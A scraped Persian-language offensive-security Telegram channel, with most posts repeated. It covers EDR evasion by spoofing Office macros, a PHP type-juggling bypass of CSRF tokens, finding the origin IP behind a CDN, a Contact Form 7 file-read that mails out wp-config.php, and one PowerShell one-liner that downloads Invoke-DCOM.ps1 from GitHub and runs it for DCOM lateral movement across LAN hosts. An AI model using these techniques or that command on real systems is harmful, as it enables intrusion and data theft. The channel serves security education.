#Iranian #NIDS
شاید تا به حال برای شما هم این سوال هم مطرح شده است که شرکت های فعال در حوزه دفاع سایبری در ایران چه محصولات و مکانیزم هایی در خصوص مقابله با حملات سایبری اندیشیده اند, یکی از شرکت های فعال این حوزه امن افزار گستر شریف است که به پشتوانه دانشگاه شریف و خصولتی بودنش توانسته در ایران پیشتازی کند,
اما با یک بررسی اجمالی و مقایسه تدابیر این شرکت متوجه نواقصی هم شده ایم از جمله تکیه بیش از حد به مکانیزم های NIDS و MidPoint ها که بصورت اغراق آمیز بیان شده که میتواند انواع حملات را با درصد بالا ۹۰ شکار کند, این درحالیست که بسیاری از حملات سایبری APT در دنیا برپایه اکسپلویت هایی طراحی میشود که آمیخته با پروتکل های حیاطیست,
آیا دیوایس های ایرانی میتواند متوجه پایلود شدن یک پروتکل در لایه ماشین کد بشوند؟آن هم اگر برپایه مبهم سازی های باینری پی ریزی شده باشد, این تنها یک نمونه از ابهامات موجود است, محصولاتی مانند Sana-DFS یا Parham میتواند کارآمدی خوبی در مقابل حملات روتین و معمول نشان دهد, اما آیا برای تکنیک های بیشمار #RT هم کارآمدی و عملکرد دارد? بدلیل مخفی بودن محصولات جواب سوالات سخت است.
@Unk9vvN
شاید تا به حال برای شما هم این سوال هم مطرح شده است که شرکت های فعال در حوزه دفاع سایبری در ایران چه محصولات و مکانیزم هایی در خصوص مقابله با حملات سایبری اندیشیده اند, یکی از شرکت های فعال این حوزه امن افزار گستر شریف است که به پشتوانه دانشگاه شریف و خصولتی بودنش توانسته در ایران پیشتازی کند,
اما با یک بررسی اجمالی و مقایسه تدابیر این شرکت متوجه نواقصی هم شده ایم از جمله تکیه بیش از حد به مکانیزم های NIDS و MidPoint ها که بصورت اغراق آمیز بیان شده که میتواند انواع حملات را با درصد بالا ۹۰ شکار کند, این درحالیست که بسیاری از حملات سایبری APT در دنیا برپایه اکسپلویت هایی طراحی میشود که آمیخته با پروتکل های حیاطیست,
آیا دیوایس های ایرانی میتواند متوجه پایلود شدن یک پروتکل در لایه ماشین کد بشوند؟آن هم اگر برپایه مبهم سازی های باینری پی ریزی شده باشد, این تنها یک نمونه از ابهامات موجود است, محصولاتی مانند Sana-DFS یا Parham میتواند کارآمدی خوبی در مقابل حملات روتین و معمول نشان دهد, اما آیا برای تکنیک های بیشمار #RT هم کارآمدی و عملکرد دارد? بدلیل مخفی بودن محصولات جواب سوالات سخت است.
@Unk9vvN
#Syscall #Linux_Kernel x64 (HelloWorld)
در بحث طراحی اکسپلویت الزاماتی از قبیل فهم چگونگی ارتباط درایورها در کرنل برای ما بسیار حیاطی و محسوس هستش, از همین روی در قالب یک مثال بصورت خلاصه وار چگونگی پیاده سازی تماس های syscall یا system call به کرنل رو تشریح خواهم کرد,
برای مثال ما یک سوال از کاربر پرسیده و جواب او را در صفحه چاپ خواهیم کرد, خب برای اینکار نیازه که به syscall های sys_read و sys_write و sys_exit اشاره کرد, مورد بعدی اینه که هر system call ثبات هایی رو بعنوان input های خودش تعیین میکنه که در syscall های مورد استفاده ما به این صورت خواهد بود
ثبات rax به منظور دریافت آیدی syscall هستش
ثبات rdi به منظور دریافت وضعیت input/output بودن syscall هستش
ثبات rsi به منظور دریافت آدرس بافری که میبایست write یا read بشه
و نهایتا ثبات rdx به منظور طول کاراکترهای منظور شده در rsi که اشاره به define byte مربوطه ما داره رو به syscall اعلام خواهد کرد
همانطور که در تصویر پست توضیح دادم (البته بدلیل استفاده از کلمات english در توضیحات فارسی, جمله کمی به هم ریخته) syscall ها مرتب فراخوانی شده اند.
@Unk9vvN
در بحث طراحی اکسپلویت الزاماتی از قبیل فهم چگونگی ارتباط درایورها در کرنل برای ما بسیار حیاطی و محسوس هستش, از همین روی در قالب یک مثال بصورت خلاصه وار چگونگی پیاده سازی تماس های syscall یا system call به کرنل رو تشریح خواهم کرد,
برای مثال ما یک سوال از کاربر پرسیده و جواب او را در صفحه چاپ خواهیم کرد, خب برای اینکار نیازه که به syscall های sys_read و sys_write و sys_exit اشاره کرد, مورد بعدی اینه که هر system call ثبات هایی رو بعنوان input های خودش تعیین میکنه که در syscall های مورد استفاده ما به این صورت خواهد بود
ثبات rax به منظور دریافت آیدی syscall هستش
ثبات rdi به منظور دریافت وضعیت input/output بودن syscall هستش
ثبات rsi به منظور دریافت آدرس بافری که میبایست write یا read بشه
و نهایتا ثبات rdx به منظور طول کاراکترهای منظور شده در rsi که اشاره به define byte مربوطه ما داره رو به syscall اعلام خواهد کرد
همانطور که در تصویر پست توضیح دادم (البته بدلیل استفاده از کلمات english در توضیحات فارسی, جمله کمی به هم ریخته) syscall ها مرتب فراخوانی شده اند.
@Unk9vvN
#Reconnaissance #Methodology
بسیاری بحث جمع آوری اطلاعات را یا یک مبحث روتینی میدانند که به واسطه چندی از ابزارها حاصل میشود، اما این یک تصور غلط است، چرا که بحث جمع آوری اطلاعات سالهاست که به مرحله استخراج اطلاعات سوئچ کرده، بسیاری برای مراجعه مختلف اقدام به گرد آوری اطلاعات از بستر شبکه های اجتماعی یا بصورت مستقیم از آی پی های زنده میکنند، و این اطلاعات را در قالب شبکه های خود بصورت ماهانه بفروش میرسانند، مانند Shodan
بگزارید مثالی بزنم، اگر شما میخواهید مثلا آی پی اصلی، سروری را که پشت CDN فایروال قرار گرفته را بدست بیاورید، میبایست به مراجعی که بصورت ۲۴ ساعته از آی پی های زنده در دنیا Snapshot تهیه میکنند مراجعه کرده و History قربانی را بررسی کنید، با این بررسی آیپی قبلی سروری که پشت CDN رفته،را میتوانید مشاهده کنید، بدین ترتیب میتوان گفت مکانیرم Reverse Proxy را دور زده ایم،
امروزه یکی از بزرگترین Tools های مورد بحث و مطرح کنفرانس های بلکهت محصول Maltego هستش، که در این امر بصورت یک مرکز کنترل جامع عمل میکند، یعنی بعضا برای استخراج اطلاعات با بیش از ۵۰ مرکز DataMining ارتباط میگیرد.
EXP
@Unk9vvN
بسیاری بحث جمع آوری اطلاعات را یا یک مبحث روتینی میدانند که به واسطه چندی از ابزارها حاصل میشود، اما این یک تصور غلط است، چرا که بحث جمع آوری اطلاعات سالهاست که به مرحله استخراج اطلاعات سوئچ کرده، بسیاری برای مراجعه مختلف اقدام به گرد آوری اطلاعات از بستر شبکه های اجتماعی یا بصورت مستقیم از آی پی های زنده میکنند، و این اطلاعات را در قالب شبکه های خود بصورت ماهانه بفروش میرسانند، مانند Shodan
بگزارید مثالی بزنم، اگر شما میخواهید مثلا آی پی اصلی، سروری را که پشت CDN فایروال قرار گرفته را بدست بیاورید، میبایست به مراجعی که بصورت ۲۴ ساعته از آی پی های زنده در دنیا Snapshot تهیه میکنند مراجعه کرده و History قربانی را بررسی کنید، با این بررسی آیپی قبلی سروری که پشت CDN رفته،را میتوانید مشاهده کنید، بدین ترتیب میتوان گفت مکانیرم Reverse Proxy را دور زده ایم،
امروزه یکی از بزرگترین Tools های مورد بحث و مطرح کنفرانس های بلکهت محصول Maltego هستش، که در این امر بصورت یک مرکز کنترل جامع عمل میکند، یعنی بعضا برای استخراج اطلاعات با بیش از ۵۰ مرکز DataMining ارتباط میگیرد.
EXP
@Unk9vvN
#Type_Juggling for #CSRF_Protection Bypass
همونطور که میدونید در خصوص آسیب پذیری #CSRF یا درخواست جعلی مکانیزم های دفاعی وجود داره مانند #SameSite_Cookie و #Double_Submit_Cookie که قبلا راجبشون توضیحاتی داده شده،
https://t.me/Unk9vvN/880
نکته ای که در این پست میخوام بهش اشاره کنم اینه که با استفاده از آسیب پذیری #Type_Juggling میتوان مکانیزم های تولید توکن Nonce و در مجموع مکانیزم #Double_Submit_Cookie رو میتوان با ارسال مقادیر True دور زد، برای مثال در تصویر پست میبینید که هکر Condition آسیب پذیر رو که با استفاده از تابع ()strcmp که قراره دو هشی که یکی در سرور ذخیره هست رو با هشی که از پارامتر key-awesome دریافت میکنه رو مقایسه کنه که مشکل همینجاست که این مقایسه بصورت loose طراحی شده،
https://t.me/Unk9vvN/1049
و از اونجایی که میبایست جواب Condition بصورت Boolean باشه، هکر آمده و یک array به پارامتر key-awesome ارسال کرده و همین موضوع باعث شده مقدار hash$ برابر NULL قرار بگیره و همین موضوع خروجی تابع ()strcmp رو معادل NULL == 0 قرار بگیره و شرط برقرار و طبیعتا مکانیزم دور زده میشه...
@Unk9vvN
همونطور که میدونید در خصوص آسیب پذیری #CSRF یا درخواست جعلی مکانیزم های دفاعی وجود داره مانند #SameSite_Cookie و #Double_Submit_Cookie که قبلا راجبشون توضیحاتی داده شده،
https://t.me/Unk9vvN/880
نکته ای که در این پست میخوام بهش اشاره کنم اینه که با استفاده از آسیب پذیری #Type_Juggling میتوان مکانیزم های تولید توکن Nonce و در مجموع مکانیزم #Double_Submit_Cookie رو میتوان با ارسال مقادیر True دور زد، برای مثال در تصویر پست میبینید که هکر Condition آسیب پذیر رو که با استفاده از تابع ()strcmp که قراره دو هشی که یکی در سرور ذخیره هست رو با هشی که از پارامتر key-awesome دریافت میکنه رو مقایسه کنه که مشکل همینجاست که این مقایسه بصورت loose طراحی شده،
https://t.me/Unk9vvN/1049
و از اونجایی که میبایست جواب Condition بصورت Boolean باشه، هکر آمده و یک array به پارامتر key-awesome ارسال کرده و همین موضوع باعث شده مقدار hash$ برابر NULL قرار بگیره و همین موضوع خروجی تابع ()strcmp رو معادل NULL == 0 قرار بگیره و شرط برقرار و طبیعتا مکانیزم دور زده میشه...
@Unk9vvN
This media is not supported in your browser
VIEW IN TELEGRAM
#Office_Macro #Spoof #Parent_Processes and #Command_line argv
اگر در خصوص حملات #APTs تحقیقاتی کرده باشید میدانید که بسیاری از آنها بر مبنای مهندسی اجتماعی فایل فرمت هایی مانند فرمت های محصولات #Office ماکروسافت هستند، از این روی بحث رهگیری #Macro های مخرب برای محصولات #EDR بسیار مهم و حیاتی هستش، و یکی از روش های رهگیری این #Macro ها بررسی Parent های پراسس برنامه هستش، و همچنین CommandLine که در Sysmon Event سیستم عامل ثبت میشه،
یک محقق با استفاده از زبان VBA که هم پشتیبانیش برای Macro نویسی در آفیس فراهمه هم میتوان با استفاده از آن با API Windows ارتباط برقرار کرد رو مورد استفاده قرار داده و با استفاده از تابع NtQueryInformationProcess آدرس ساختمان PEB رو بدست و با استفاده از تابع WriteProcessMemory اقدام و Overwrite کردن مقادیر CommandLine کرده،
همچنین با استفاده از OpenProcess که یک تابع خنثی برای #EDR ها محصوب میشه میشه، با این کار پراسس مثلا notepad ایجاد میشود اما با اجرای یک شلکد که بد از اجرا پارامترش Overwrite با یک کد خنثی خواهد شد.
https://github.com/christophetd/spoofing-office-macro
@Unk9vvN
اگر در خصوص حملات #APTs تحقیقاتی کرده باشید میدانید که بسیاری از آنها بر مبنای مهندسی اجتماعی فایل فرمت هایی مانند فرمت های محصولات #Office ماکروسافت هستند، از این روی بحث رهگیری #Macro های مخرب برای محصولات #EDR بسیار مهم و حیاتی هستش، و یکی از روش های رهگیری این #Macro ها بررسی Parent های پراسس برنامه هستش، و همچنین CommandLine که در Sysmon Event سیستم عامل ثبت میشه،
یک محقق با استفاده از زبان VBA که هم پشتیبانیش برای Macro نویسی در آفیس فراهمه هم میتوان با استفاده از آن با API Windows ارتباط برقرار کرد رو مورد استفاده قرار داده و با استفاده از تابع NtQueryInformationProcess آدرس ساختمان PEB رو بدست و با استفاده از تابع WriteProcessMemory اقدام و Overwrite کردن مقادیر CommandLine کرده،
همچنین با استفاده از OpenProcess که یک تابع خنثی برای #EDR ها محصوب میشه میشه، با این کار پراسس مثلا notepad ایجاد میشود اما با اجرای یک شلکد که بد از اجرا پارامترش Overwrite با یک کد خنثی خواهد شد.
https://github.com/christophetd/spoofing-office-macro
@Unk9vvN
#Top 10 #Extentions #BurpTools
شاید برای شما هم این سوال مطرح باشه که پلاگین های مفید و کارآمد ابزار #BurpSuite کدام ها میتونه باشه و ویژگی های اونها چیه؟ همونطور که در تصویر میبینید، برخی از آنها رو که مفید هستند رو برای شما معرفی کرده و نکاتی در خصوص ویژگی اونها خواهیم گفت:
.NET Beautifier
ابزاری برای مناسب نشان دادن کدهای .NET
Active Scan++
ابزاری برای اسکن اتوماتیک برخی CVE های معروف
CO2
ابزاری برای خودکارسازی پارامترهای SQLMap
Content-Type Convertor
ابزاری برای تبدیل فرمت داده های Json و XML
Logger++
ابزاری برای خروجی گرفتن لاگ های داده های ارسالی و دریافتی
JSON Web Token
ابزاری برای انواع حملات به JWT مانند None Key
Param Miner
ابزاری برای تست آسیب پذیری مسمومیت حافظه پنهان
PHP Object Injection Check
ابزاری برای تست پارامترهای Serialize برای آسیب پذیری PHPOi
Uploader Scanner
ابزاری در خصوص فازینگ Extentions های فیلدهای آپلود فایل
Turbo Intruder
ابزاری در خصوص حملات بروت فورس با امکان دور زدن مکانیزم های Recaptcha
موارد دیگر رو به خودتون میسپارم.
https://portswigger.net/bappstore
@Unk9vvN
شاید برای شما هم این سوال مطرح باشه که پلاگین های مفید و کارآمد ابزار #BurpSuite کدام ها میتونه باشه و ویژگی های اونها چیه؟ همونطور که در تصویر میبینید، برخی از آنها رو که مفید هستند رو برای شما معرفی کرده و نکاتی در خصوص ویژگی اونها خواهیم گفت:
.NET Beautifier
ابزاری برای مناسب نشان دادن کدهای .NET
Active Scan++
ابزاری برای اسکن اتوماتیک برخی CVE های معروف
CO2
ابزاری برای خودکارسازی پارامترهای SQLMap
Content-Type Convertor
ابزاری برای تبدیل فرمت داده های Json و XML
Logger++
ابزاری برای خروجی گرفتن لاگ های داده های ارسالی و دریافتی
JSON Web Token
ابزاری برای انواع حملات به JWT مانند None Key
Param Miner
ابزاری برای تست آسیب پذیری مسمومیت حافظه پنهان
PHP Object Injection Check
ابزاری برای تست پارامترهای Serialize برای آسیب پذیری PHPOi
Uploader Scanner
ابزاری در خصوص فازینگ Extentions های فیلدهای آپلود فایل
Turbo Intruder
ابزاری در خصوص حملات بروت فورس با امکان دور زدن مکانیزم های Recaptcha
موارد دیگر رو به خودتون میسپارم.
https://portswigger.net/bappstore
@Unk9vvN
#DCOM #Lateral_Movement
استفاده از #DCOM Object های مختلف که در سیستم عامل های ویندوز میتواند تعریف و بکار گرفته شود و امکان خوبی برای دور زدن مکانیزم های دفاعی بدهد، چرا که هر کدام از این #DCOM ها میتوانند بستر غیر مستقیمی برای داده هایی باشند که برای آنها ساخته شده اند, برای مثال ExcelDDE که در خصوص #DDE که در فایل فرمت Excel میتواند بکار گرفته شود,
# Open cmd (Administrator)
C:\Users\unk9vvn>
@Unk9vvN
استفاده از #DCOM Object های مختلف که در سیستم عامل های ویندوز میتواند تعریف و بکار گرفته شود و امکان خوبی برای دور زدن مکانیزم های دفاعی بدهد، چرا که هر کدام از این #DCOM ها میتوانند بستر غیر مستقیمی برای داده هایی باشند که برای آنها ساخته شده اند, برای مثال ExcelDDE که در خصوص #DDE که در فایل فرمت Excel میتواند بکار گرفته شود,
# Open cmd (Administrator)
C:\Users\unk9vvn>
%comspec% /K powershell.exe -ExecutionPolicy Bypass -NoExit -Command "$LAN = Get-NetIPAddress | Where-Object -FilterScript { $_.ValidLifetime -Lt ([TimeSpan]::FromDays(1)) } | Select-Object -Property IPAddress; Invoke-WebRequest -Uri https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1 -OutFile %temp%\Invoke-DCOM.ps1; cd %temp%; Import-Module .\Invoke-DCOM.ps1; Invoke-DCOM -ComputerName $LAN.IPAddress -Method MMC20.Application -Command 'calc.exe'; Remove-Item %temp%\Invoke-DCOM.ps1; exit"
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1@Unk9vvN
#OffensiveCON
یکی از دلایل عقب ماندگی علوم امنیت تهاجمی در ایران اینه که نگاه درستی چه در شرکت های فعال در حوزه خدمات دهی سایبری چه در دانشگاه ها و حتی میان خود محققین در این خصوص وجود نداره,
این علوم بصورت تک روی یا محدود کردن آن نمیتواند به حوزه نوآوری برسد, بلکه میبایست همانند کشورهای پیشتاز لیگ برتری از محققین را شرکت ها و خود محققین بوجود آورند تا بصورت جمعی و بر اساس کنش های علمی محصولات تحقیقاتی را به اشتراک گذاشته و جامعه علمی را به حرکت در آورند,
هستند کسانی که استراتژی های درست تحقیقاتی این علوم را میدانند اما بدلیل انحصار طلبی برای منابع خود علاقه ای به حرکت به این سو را ندارند, و ضربه آن را جوانان علاقمند و امنیت فضای اطلاعاتی کشور خواهند خورد,
البته آینده قرار نیست به این صورت باشد و علوم نوین آینده مانند هوش مصنوعی و غیره عجین شده با امنیت است و نگاه به امنیت هوشمندانه تر خواهد شد...
نمونه ای از این استراتژی در کشور آلمان با اسپانسری دو شرکت فعال ...
https://www.offensivecon.org/agenda/2019/
@Unk9vvN
یکی از دلایل عقب ماندگی علوم امنیت تهاجمی در ایران اینه که نگاه درستی چه در شرکت های فعال در حوزه خدمات دهی سایبری چه در دانشگاه ها و حتی میان خود محققین در این خصوص وجود نداره,
این علوم بصورت تک روی یا محدود کردن آن نمیتواند به حوزه نوآوری برسد, بلکه میبایست همانند کشورهای پیشتاز لیگ برتری از محققین را شرکت ها و خود محققین بوجود آورند تا بصورت جمعی و بر اساس کنش های علمی محصولات تحقیقاتی را به اشتراک گذاشته و جامعه علمی را به حرکت در آورند,
هستند کسانی که استراتژی های درست تحقیقاتی این علوم را میدانند اما بدلیل انحصار طلبی برای منابع خود علاقه ای به حرکت به این سو را ندارند, و ضربه آن را جوانان علاقمند و امنیت فضای اطلاعاتی کشور خواهند خورد,
البته آینده قرار نیست به این صورت باشد و علوم نوین آینده مانند هوش مصنوعی و غیره عجین شده با امنیت است و نگاه به امنیت هوشمندانه تر خواهد شد...
نمونه ای از این استراتژی در کشور آلمان با اسپانسری دو شرکت فعال ...
https://www.offensivecon.org/agenda/2019/
@Unk9vvN
#Defensive #Matrix
شاید تا به حال در خصوص Matrix تکنیکال مربوط به #RedTeam و #PurpleTeam رو دیده باشید اما Matrix تیم های #BlueTeam و مکانیزم ها و محصولات آنها چطور؟ در تصویر پست تمامی مکانیزم های شناسایی کننده و دفاعی رو در موقعیت مربوط به خود میبینید,
تیم های قرمز ماهیت کار کرد خود را در ایجاد روشهای جدید برای دور زدن این مکانیزم ها میبینند, و همواره نیازهای جدید تیم های آبی به حالا هم محصولات و سیاست های تدافعی تایین میکنند, چرخه ای که هر دو مکمل هم هستند و هر دو از فضاهای تکنیکالی یکدیگر اشراف کامل دارند, فقط ماهیت فعالیت آنها یک در دور زدن یکی در رهگیری کردن به واسطه هوش مصنوعی تعریف میشود,
نگاه غلطی که همواره در ایران دیده میشود این است که کسانی که بصورت #BlueTeam فعالیت دارند صرفاء میبایست با محصولات Analyser و تحلیل ترافیک و غیره سروکار داشته باشند, این در حالیست که بسیاری از این محصولات و محققین تولید کننده آنها در بالاترین سطوح تکنیکالی تیم قرمز قرار دارند و به همین واسطه تولید محصول کرده و به کشورهایی مانند ایران میفروشند, محصولات #MDR از این دست موارد هستند..
MDR
@Unk9vvN
شاید تا به حال در خصوص Matrix تکنیکال مربوط به #RedTeam و #PurpleTeam رو دیده باشید اما Matrix تیم های #BlueTeam و مکانیزم ها و محصولات آنها چطور؟ در تصویر پست تمامی مکانیزم های شناسایی کننده و دفاعی رو در موقعیت مربوط به خود میبینید,
تیم های قرمز ماهیت کار کرد خود را در ایجاد روشهای جدید برای دور زدن این مکانیزم ها میبینند, و همواره نیازهای جدید تیم های آبی به حالا هم محصولات و سیاست های تدافعی تایین میکنند, چرخه ای که هر دو مکمل هم هستند و هر دو از فضاهای تکنیکالی یکدیگر اشراف کامل دارند, فقط ماهیت فعالیت آنها یک در دور زدن یکی در رهگیری کردن به واسطه هوش مصنوعی تعریف میشود,
نگاه غلطی که همواره در ایران دیده میشود این است که کسانی که بصورت #BlueTeam فعالیت دارند صرفاء میبایست با محصولات Analyser و تحلیل ترافیک و غیره سروکار داشته باشند, این در حالیست که بسیاری از این محصولات و محققین تولید کننده آنها در بالاترین سطوح تکنیکالی تیم قرمز قرار دارند و به همین واسطه تولید محصول کرده و به کشورهایی مانند ایران میفروشند, محصولات #MDR از این دست موارد هستند..
MDR
@Unk9vvN
#Art of #Fuzzing
بحث Fuzzer ها بحثی همواره جذاب و شیرین بوده است, به گونه ای که هرساله در کنفرانس های جهانی به این موضوع پرداخته و سعی بر ادغام کردن علوم هوش مصنوعی با این موضوع رو دارا هستند,
اما بحث طراحی Fuzzer از پیچیدگی های خاص خود برخوردار است ,چرا که فضاها و کامپایلرهایی که Fuzzer ها میبایست برای آنها Input Generation انجام دهند همواره متفاوت و بعضا عملکری بخصوص داشته اند, این موضوع در خصوص کامپایلرهای در لحظه یا Just In Time دیده شده و البته راهکارهای متداول خود را داشته و طرح ایده شده است,
برای عزیزان علاقمندی که میخواهند در این حوزه جدیدترین مقالات روز دنیارا مطالعه کنند, میتوانند به Page Paper زیر مراجعه نموده و طبق فضا و پلتفرم مورد نظر خودتون جدیدترین مقالات را مشاهده نمایند...
https://wcventure.github.io/FuzzingPaper/
@Unk9vvN
بحث Fuzzer ها بحثی همواره جذاب و شیرین بوده است, به گونه ای که هرساله در کنفرانس های جهانی به این موضوع پرداخته و سعی بر ادغام کردن علوم هوش مصنوعی با این موضوع رو دارا هستند,
اما بحث طراحی Fuzzer از پیچیدگی های خاص خود برخوردار است ,چرا که فضاها و کامپایلرهایی که Fuzzer ها میبایست برای آنها Input Generation انجام دهند همواره متفاوت و بعضا عملکری بخصوص داشته اند, این موضوع در خصوص کامپایلرهای در لحظه یا Just In Time دیده شده و البته راهکارهای متداول خود را داشته و طرح ایده شده است,
برای عزیزان علاقمندی که میخواهند در این حوزه جدیدترین مقالات روز دنیارا مطالعه کنند, میتوانند به Page Paper زیر مراجعه نموده و طبق فضا و پلتفرم مورد نظر خودتون جدیدترین مقالات را مشاهده نمایند...
https://wcventure.github.io/FuzzingPaper/
@Unk9vvN
Media is too big
VIEW IN TELEGRAM
#Endpoint Detection in #Splunk Demo
نمایشی از چگونگی عملکرد ThreatHunting یکی از App های نرم افزار #Splunk هستش که چطور Process Injection پایلودهای فریمورک Cobalt Strike رو شناسایی میکنه و از بین میبره,
البته وبلاگ CobaltStrike هم اعلام کرده که دیگه از تکنیک RemoteThreads استفاده نمیکنه برای Process Injection و بجای آن از WriteProcessMemory استفاده خواهد کرد که چند و چون ماجرا را میتوانید در وبلاگ زیر مطالعه بفرمایید...
https://blog.cobaltstrike.com/2019/08/21/cobalt-strikes-process-injection-the-details/
https://splunkbase.splunk.com/app/4305/
@Unk9vvN
نمایشی از چگونگی عملکرد ThreatHunting یکی از App های نرم افزار #Splunk هستش که چطور Process Injection پایلودهای فریمورک Cobalt Strike رو شناسایی میکنه و از بین میبره,
البته وبلاگ CobaltStrike هم اعلام کرده که دیگه از تکنیک RemoteThreads استفاده نمیکنه برای Process Injection و بجای آن از WriteProcessMemory استفاده خواهد کرد که چند و چون ماجرا را میتوانید در وبلاگ زیر مطالعه بفرمایید...
https://blog.cobaltstrike.com/2019/08/21/cobalt-strikes-process-injection-the-details/
https://splunkbase.splunk.com/app/4305/
@Unk9vvN
This media is not supported in your browser
VIEW IN TELEGRAM
#Arbitrary_File_Read in Contact Form 7
ماجرا از آنجایی شروع میشود که پلاگین ها برای ایجاد یک پست نیازمند استفاده از تابعی از API هسته Wordpress خواهند شد,این تابع که ()register_post_type نام دارد دارای آسیب پذیری در قسمت تصدیق سطح دسترسی برای کاربران سطح پایین در خصوص ایجاد یک پست است,
هر درخواست برای ایجاد یک Post جدید میبایست دارای post_type$ تایید شده برای ایجاد باشد که این post_type$ در سطح ادمین ساخته میشود,نکته و آسیب پذیری آنجایست که اگر پارامتر GET['post']_$ به صفحه wp-admin/post.php/ به همراه ساختمان ایجاد Contact Form ارسال شود بدون آنکه مقدار آن چک شود تابع ()wp_insert_post اقدام به ایجاد یک Contact Form با data هکر خواهد کرد,
همانطور که میدانید این پلاگین ماهیت ایجاد Contact را بشما میدهد, آسیب پذیری دقیقا همین قایلیت است,هکر با استفاده از قابلیت attachment اقدام به attach کردن فایل های حساس CMS مانند wp-config.php/.. میکند ,Validate نکردن آدرس های فایل attach شده, موجب میشود تا هکر فایل حساسی را attach کرده و به Mail تنظیم کرده خود ارسال کند!
Blog
@Unk9vvN
ماجرا از آنجایی شروع میشود که پلاگین ها برای ایجاد یک پست نیازمند استفاده از تابعی از API هسته Wordpress خواهند شد,این تابع که ()register_post_type نام دارد دارای آسیب پذیری در قسمت تصدیق سطح دسترسی برای کاربران سطح پایین در خصوص ایجاد یک پست است,
هر درخواست برای ایجاد یک Post جدید میبایست دارای post_type$ تایید شده برای ایجاد باشد که این post_type$ در سطح ادمین ساخته میشود,نکته و آسیب پذیری آنجایست که اگر پارامتر GET['post']_$ به صفحه wp-admin/post.php/ به همراه ساختمان ایجاد Contact Form ارسال شود بدون آنکه مقدار آن چک شود تابع ()wp_insert_post اقدام به ایجاد یک Contact Form با data هکر خواهد کرد,
همانطور که میدانید این پلاگین ماهیت ایجاد Contact را بشما میدهد, آسیب پذیری دقیقا همین قایلیت است,هکر با استفاده از قابلیت attachment اقدام به attach کردن فایل های حساس CMS مانند wp-config.php/.. میکند ,Validate نکردن آدرس های فایل attach شده, موجب میشود تا هکر فایل حساسی را attach کرده و به Mail تنظیم کرده خود ارسال کند!
Blog
@Unk9vvN
This media is not supported in your browser
VIEW IN TELEGRAM
#ProcDump for Linux
ابزار محبوب ProcDump برای سیستم عامل های لینوکس هم طراحی شده است,
ماکروسافت ابزاری را طراحی کرده که میتوان با آن مانند #ProcDump در سیستم عامل ویندوز در لینوکس هم عمل کرد و داده های مپ شده بر روی حافظه رو Dump نمود,
# Ubuntu
unk9vvn@avi:~$
# Kali Linux
unk9vvn@avi:~$
https://github.com/microsoft/ProcDump-for-Linux
@Unk9vvN
ابزار محبوب ProcDump برای سیستم عامل های لینوکس هم طراحی شده است,
ماکروسافت ابزاری را طراحی کرده که میتوان با آن مانند #ProcDump در سیستم عامل ویندوز در لینوکس هم عمل کرد و داده های مپ شده بر روی حافظه رو Dump نمود,
# Ubuntu
unk9vvn@avi:~$
wget -q https://packages.microsoft.com/config/ubuntu/$(lsb_release -rs)/packages-microsoft-prod.deb -O packages-microsoft-prod.deb;sudo dpkg -i packages-microsoft-prod.deb;sudo apt-get update;sudo apt-get install procdump# Kali Linux
unk9vvn@avi:~$
sudo apt-get install -y procdumphttps://github.com/microsoft/ProcDump-for-Linux
@Unk9vvN